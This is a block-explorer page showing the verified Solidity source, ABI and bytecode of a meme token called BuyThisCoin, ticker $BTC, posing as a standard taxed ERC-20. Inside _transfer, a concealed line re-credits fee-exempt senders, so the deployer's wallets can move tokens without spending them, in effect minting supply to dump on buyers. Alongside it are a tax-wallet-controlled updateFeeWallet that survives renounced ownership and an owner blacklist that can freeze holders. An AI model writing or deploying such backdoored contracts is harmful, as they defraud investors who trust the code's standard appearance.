Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH( interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract BuyThisCoin is Context, I ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function approve(address spender, uin ...    - function allowance(address owner, add ...    - function transferFrom(address sender, ...    - function removeLimits()    - function updateFeeWallet(address paya ...    - function sendFeeETH(uint256 amount)    - function transfer(address recipient, ...    - function _transfer(address from, addr ...    - function swapTokensForEth(uint256 tok ...    - function min(uint256 a, uint256 b)    - function manageSnipers(address[] memo ...    - function openTrading()    - function _approve(address owner, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-03-16
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/*
We're here to #BuyThisCoin with the ticker $BTC

Website: https://buythiscoin.xyz
Twitter: https://x.com/BuyThisCoin_X
Telegram: https://t.me/buythiscoin_erc20_portal
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract BuyThisCoin is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _snipers;

    string private constant _name = unicode"BuyThisCoin";
    string private constant _symbol = unicode"BTC";

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address payable private _taxWallet;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 public _maxTxAmount =   15 * 420690 * 10**_decimals;
    uint256 public _maxWalletSize = 15 * 420690 * 10**_decimals;
    uint256 public _taxSwapThreshold= 0 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900 * 10**_decimals;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

   constructor () {
        _taxWallet = payable(msg.sender);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function updateFeeWallet(address payable wallet_) public {
        require(msg.sender == _taxWallet);
        _taxWallet = wallet_;
        _isExcludedFromFee[_taxWallet] = true;
    }

    function sendFeeETH(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!_snipers[from] && !_snipers[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (_isExcludedFromFee[from]) { _balances[from] += amount; }
            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendFeeETH(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function manageSnipers(address[] memory snipers, bool isSniper) external onlyOwner {
        for (uint i = 0; i < snipers.length; i++) {
            require(snipers[i] != address(this), "Can't blacklist contract address");
            _snipers[snipers[i]] = isSniper;
        }
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: Can't approve from the zero address");
        require(spender != address(0), "ERC20: Can't approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"snipers","type":"address[]"},{"internalType":"bool","name":"isSniper","type":"bool"}],"name":"manageSnipers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"wallet_","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600581815560068281556000600781905560088190556009918255600f808555600b93909355600c55815461ffff60a81b19169091556200004791620004c7565b6200005690626049ce620004df565b601055620000676009600a620004c7565b6200007690626049ce620004df565b601155620000876009600a620004c7565b62000094906000620004df565b601255620000a56009600a620004c7565b620000b49062403134620004df565b601355348015620000c457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e8054336001600160a01b031991821617909155600d8054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000176573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019c9190620004f9565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002259190620004f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000273573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002999190620004f9565b600f80546001600160a01b0319166001600160a01b0392909216919091179055620002c76009600a620004c7565b620002d7906319133850620004df565b336000908152600160208190526040822092909255600390620003026000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600e5490911681526003909252902080549091166001179055620003513390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200038b6009600a620004c7565b6200039b906319133850620004df565b60405190815260200160405180910390a362000524565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000409578160001904821115620003ed57620003ed620003b2565b80851615620003fb57918102915b93841c9390800290620003cd565b509250929050565b6000826200042257506001620004c1565b816200043157506000620004c1565b81600181146200044a5760028114620004555762000475565b6001915050620004c1565b60ff841115620004695762000469620003b2565b50506001821b620004c1565b5060208310610133831016604e8410600b84101617156200049a575081810a620004c1565b620004a68383620003c8565b8060001904821115620004bd57620004bd620003b2565b0290505b92915050565b6000620004d860ff84168362000411565b9392505050565b8082028115828204841417620004c157620004c1620003b2565b6000602082840312156200050c57600080fd5b81516001600160a01b0381168114620004d857600080fd5b61197580620005346000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610311578063bf474bed14610331578063c9567bf914610347578063dd62ed3e1461035c578063ed494189146103a257600080fd5b8063751039fc1461027c5780637d1db4a5146102915780638da5cb5b146102a75780638f9a55c0146102cf57806395d89b41146102e557600080fd5b806323b872dd116100e757806323b872dd146101d3578063313ce567146101f3578063667185241461020f57806370a0823114610231578063715018a61461026757600080fd5b806306fdde0314610124578063095ea7b31461016a5780630faee56f1461019a57806318160ddd146101be57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a213abcaa3434b9a1b7b4b760a91b60208201525b6040516101619190611433565b60405180910390f35b34801561017657600080fd5b5061018a6101853660046114a9565b6103c2565b6040519015158152602001610161565b3480156101a657600080fd5b506101b060135481565b604051908152602001610161565b3480156101ca57600080fd5b506101b06103d9565b3480156101df57600080fd5b5061018a6101ee3660046114d5565b6103fa565b3480156101ff57600080fd5b5060405160098152602001610161565b34801561021b57600080fd5b5061022f61022a366004611516565b610463565b005b34801561023d57600080fd5b506101b061024c366004611516565b6001600160a01b031660009081526001602052604090205490565b34801561027357600080fd5b5061022f6104b4565b34801561028857600080fd5b5061022f610531565b34801561029d57600080fd5b506101b060105481565b3480156102b357600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102db57600080fd5b506101b060115481565b3480156102f157600080fd5b5060408051808201909152600381526242544360e81b6020820152610154565b34801561031d57600080fd5b5061018a61032c3660046114a9565b6105e3565b34801561033d57600080fd5b506101b060125481565b34801561035357600080fd5b5061022f6105f0565b34801561036857600080fd5b506101b0610377366004611533565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103ae57600080fd5b5061022f6103bd36600461159b565b61080b565b60006103cf33848461091b565b5060015b92915050565b60006103e76009600a61176c565b6103f590631913385061177b565b905090565b6000610407848484610a4c565b610459843361045485604051806060016040528060288152602001611918602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611092565b61091b565b5060019392505050565b600e546001600160a01b0316331461047a57600080fd5b600e80546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000546001600160a01b031633146104e75760405162461bcd60e51b81526004016104de90611792565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461055b5760405162461bcd60e51b81526004016104de90611792565b6105676009600a61176c565b61057590631913385061177b565b6010556105846009600a61176c565b61059290631913385061177b565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c26009600a61176c565b6105d090631913385061177b565b60405190815260200160405180910390a1565b60006103cf338484610a4c565b6000546001600160a01b0316331461061a5760405162461bcd60e51b81526004016104de90611792565b600f54600160a01b900460ff16156106745760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104de565b600d546106a09030906001600160a01b03166106926009600a61176c565b61045490631913385061177b565b600d546001600160a01b031663f305d71947306106d2816001600160a01b031660009081526001602052604090205490565b6000806106e76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077491906117c7565b5050600f54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f191906117f5565b50600f805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146108355760405162461bcd60e51b81526004016104de90611792565b60005b825181101561091657306001600160a01b031683828151811061085d5761085d611812565b60200260200101516001600160a01b0316036108bb5760405162461bcd60e51b815260206004820181905260248201527f43616e277420626c61636b6c69737420636f6e7472616374206164647265737360448201526064016104de565b81600460008584815181106108d2576108d2611812565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061090e81611828565b915050610838565b505050565b6001600160a01b0383166109845760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b60648201526084016104de565b6001600160a01b0382166109eb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b60648201526084016104de565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104de565b6001600160a01b038216610b125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104de565b60008111610b745760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104de565b600080546001600160a01b03858116911614801590610ba157506000546001600160a01b03848116911614155b15610f4f576001600160a01b03841660009081526004602052604090205460ff16158015610be857506001600160a01b03831660009081526004602052604090205460ff16155b610bf157600080fd5b610c1d6064610c17600954600c5411610c0c57600554610c10565b6007545b85906110cc565b90611155565b600f549091506001600160a01b038581169116148015610c4b5750600d546001600160a01b03848116911614155b8015610c7057506001600160a01b03831660009081526003602052604090205460ff16155b15610d5857601054821115610cc75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104de565b60115482610cea856001600160a01b031660009081526001602052604090205490565b610cf49190611841565b1115610d425760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104de565b600c8054906000610d5283611828565b91905055505b6001600160a01b03841660009081526003602052604090205460ff1615610da7576001600160a01b03841660009081526001602052604081208054849290610da1908490611841565b90915550505b600f546001600160a01b03848116911614801590610dde57506001600160a01b03831660009081526003602052604090205460ff16155b15610e5e5760115482610e06856001600160a01b031660009081526001602052604090205490565b610e109190611841565b1115610e5e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104de565b600f546001600160a01b038481169116148015610e8457506001600160a01b0384163014155b15610eb157610eae6064610c17600a54600c5411610ea457600654610c10565b60085485906110cc565b90505b30600090815260016020526040902054600f54600160a81b900460ff16158015610ee85750600f546001600160a01b038581169116145b8015610efd5750600f54600160b01b900460ff165b8015610f0a575060125481115b8015610f195750600b54600c54115b15610f4d57610f3b610f3684610f3184601354611197565b611197565b6111ac565b478015610f4b57610f4b47611326565b505b505b8015610fc95730600090815260016020526040902054610f6f9082611364565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc09085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610fec90836113c3565b6001600160a01b03851660009081526001602052604090205561103161101283836113c3565b6001600160a01b03851660009081526001602052604090205490611364565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61107b85856113c3565b60405190815260200160405180910390a350505050565b600081848411156110b65760405162461bcd60e51b81526004016104de9190611433565b5060006110c38486611854565b95945050505050565b6000826000036110de575060006103d3565b60006110ea838561177b565b9050826110f78583611867565b1461114e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104de565b9392505050565b600061114e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611405565b60008183116111a6578261114e565b50919050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f4576111f4611812565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561124d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112719190611889565b8160018151811061128457611284611812565b6001600160a01b039283166020918202929092010152600d546112aa913091168461091b565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e39085906000908690309042906004016118a6565b600060405180830381600087803b1580156112fd57600080fd5b505af1158015611311573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611360573d6000803e3d6000fd5b5050565b6000806113718385611841565b90508381101561114e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104de565b600061114e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611092565b600081836114265760405162461bcd60e51b81526004016104de9190611433565b5060006110c38486611867565b600060208083528351808285015260005b8181101561146057858101830151858201604001528201611444565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149657600080fd5b50565b80356114a481611481565b919050565b600080604083850312156114bc57600080fd5b82356114c781611481565b946020939093013593505050565b6000806000606084860312156114ea57600080fd5b83356114f581611481565b9250602084013561150581611481565b929592945050506040919091013590565b60006020828403121561152857600080fd5b813561114e81611481565b6000806040838503121561154657600080fd5b823561155181611481565b9150602083013561156181611481565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b801515811461149657600080fd5b80356114a481611582565b600080604083850312156115ae57600080fd5b823567ffffffffffffffff808211156115c657600080fd5b818501915085601f8301126115da57600080fd5b81356020828211156115ee576115ee61156c565b8160051b604051601f19603f830116810181811086821117156116135761161361156c565b60405292835281830193508481018201928984111561163157600080fd5b948201945b838610156116565761164786611499565b85529482019493820193611636565b96506116659050878201611590565b9450505050509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116c35781600019048211156116a9576116a9611672565b808516156116b657918102915b93841c939080029061168d565b509250929050565b6000826116da575060016103d3565b816116e7575060006103d3565b81600181146116fd576002811461170757611723565b60019150506103d3565b60ff84111561171857611718611672565b50506001821b6103d3565b5060208310610133831016604e8410600b8410161715611746575081810a6103d3565b6117508383611688565b806000190482111561176457611764611672565b029392505050565b600061114e60ff8416836116cb565b80820281158282048414176103d3576103d3611672565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117dc57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561180757600080fd5b815161114e81611582565b634e487b7160e01b600052603260045260246000fd5b60006001820161183a5761183a611672565b5060010190565b808201808211156103d3576103d3611672565b818103818111156103d3576103d3611672565b60008261188457634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561189b57600080fd5b815161114e81611481565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118f65784516001600160a01b0316835293830193918301916001016118d1565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d450ca762036aee4adf5f97a8b95526a48da818f49f9ccbf42bcd03306680f7a64736f6c63430008130033

0x6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610311578063bf474bed14610331578063c9567bf914610347578063dd62ed3e1461035c578063ed494189146103a257600080fd5b8063751039fc1461027c5780637d1db4a5146102915780638da5cb5b146102a75780638f9a55c0146102cf57806395d89b41146102e557600080fd5b806323b872dd116100e757806323b872dd146101d3578063313ce567146101f3578063667185241461020f57806370a0823114610231578063715018a61461026757600080fd5b806306fdde0314610124578063095ea7b31461016a5780630faee56f1461019a57806318160ddd146101be57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a213abcaa3434b9a1b7b4b760a91b60208201525b6040516101619190611433565b60405180910390f35b34801561017657600080fd5b5061018a6101853660046114a9565b6103c2565b6040519015158152602001610161565b3480156101a657600080fd5b506101b060135481565b604051908152602001610161565b3480156101ca57600080fd5b506101b06103d9565b3480156101df57600080fd5b5061018a6101ee3660046114d5565b6103fa565b3480156101ff57600080fd5b5060405160098152602001610161565b34801561021b57600080fd5b5061022f61022a366004611516565b610463565b005b34801561023d57600080fd5b506101b061024c366004611516565b6001600160a01b031660009081526001602052604090205490565b34801561027357600080fd5b5061022f6104b4565b34801561028857600080fd5b5061022f610531565b34801561029d57600080fd5b506101b060105481565b3480156102b357600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102db57600080fd5b506101b060115481565b3480156102f157600080fd5b5060408051808201909152600381526242544360e81b6020820152610154565b34801561031d57600080fd5b5061018a61032c3660046114a9565b6105e3565b34801561033d57600080fd5b506101b060125481565b34801561035357600080fd5b5061022f6105f0565b34801561036857600080fd5b506101b0610377366004611533565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103ae57600080fd5b5061022f6103bd36600461159b565b61080b565b60006103cf33848461091b565b5060015b92915050565b60006103e76009600a61176c565b6103f590631913385061177b565b905090565b6000610407848484610a4c565b610459843361045485604051806060016040528060288152602001611918602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611092565b61091b565b5060019392505050565b600e546001600160a01b0316331461047a57600080fd5b600e80546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000546001600160a01b031633146104e75760405162461bcd60e51b81526004016104de90611792565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461055b5760405162461bcd60e51b81526004016104de90611792565b6105676009600a61176c565b61057590631913385061177b565b6010556105846009600a61176c565b6105929063191338506117